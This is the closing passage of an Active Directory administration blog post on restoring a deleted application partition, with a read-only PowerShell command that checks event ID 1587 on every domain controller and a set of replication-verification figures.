Figure 17: Listing The Replica Locations Of The Application Partition And Their Instantiation State – Completed!

Because of the restore of the application partition and the (re-)instantiation of the application partition, every DC hosting the application partition will report through event ID 1587 in the Directory Services Event Log it is processing the new Invocation IDs of each DC that instantiated the partition. To get assurance the process is working, I only need to see 1 Event on every DC as it otherwise could be an overload of data.

(Get-ADForest).Domains | ForEach-Object {(Get-ADDomain -Identity $_).ReplicaDirectoryServers + (Get-ADDomain -Identity $_).ReadOnlyReplicaDirectoryServers | ForEach-Object {$dcFQDN = $_; Try{$events = Get-WinEvent -ComputerName $dcFQDN -FilterHashtable @{LogName = 'Directory Service'; ID = 1587} -MaxEvents 1 -ErrorAction STOP; $events | Format-Table @{Label="DC FQDN"; Expression={$dcFQDN}},TimeCreated,LevelDisplayName,Message -Wrap -AutoSize} CATCH {Write-Host "$dcFQDN - NO EVENTS YET... PATIENCE AND RETRY (UNLESS IT IS AN RODC, A DECOMMISSIONED DC, ETC)" -ForegroundColor Red}}}

Figure 18a: Every Replica Location (I.e., Every DC Hosting) Of The Application Partition Is Processing The New Invocation ID Of Each That Instantiated The Application Partition

Figure 18b: Every Replica Location (I.e., Every DC Hosting) Of The Application Partition Is Processing The New Invocation ID Of Each That Instantiated The Application Partition

Figure 18c: Every Replica Location (I.e., Every DC Hosting) Of The Application Partition Is Processing The New Invocation ID Of Each That Instantiated The Application Partition

Figure 18d: Every Replica Location (I.e., Every DC Hosting) Of The Application Partition Is Processing The New Invocation ID Of Each That Instantiated The Application Partition

And as I final step, I want to make sure all Replica Location are fully functioning for the application partition. You can easily do that through the PowerShell script SCRIPT: Check-AD-Replication-Latency-Convergence

Figure 19a: Checking The Restored Application Partition On Every DC Hosting It And The AD Replication Between each

Figure 19b: Checking The Restored Application Partition On Every DC Hosting It And The AD Replication Between each

Figure 19c: Checking The Restored Application Partition On Every DC Hosting It And The AD Replication Between each

Figure 19d: Checking The Restored Application Partition On Every DC Hosting It And The AD Replication Between each

Figure 19e: Checking The Restored Application Partition On Every DC Hosting It And The AD Replication Between each

Figure 19f: Checking The Restored Application Partition On Every DC Hosting It And The AD Replication Between each

Everything is now back to normal again! Hope this helps someone, if this mistake occurs. Remember, although there are similarities, THESE STEPS CANNOT BE USED FOR RESTORING A DELETED DOMAIN!

Cheers,

Jorge

————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/

————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### https://jorgequestforknowledge.wordpress.com/ ###################

————————————————————————————————————————————————————

IAMTEC

Identity | Security | Recovery

————————————————————————————————————————————————————-

Posted in Active Directory Domain Services (ADDS), Active Directory Forest Recovery (ADFR), Forest Recovery, Partition Deletion/Restore | Tagged: , , , , | Leave a Comment »

 
Design a site like this with WordPress.com
Get started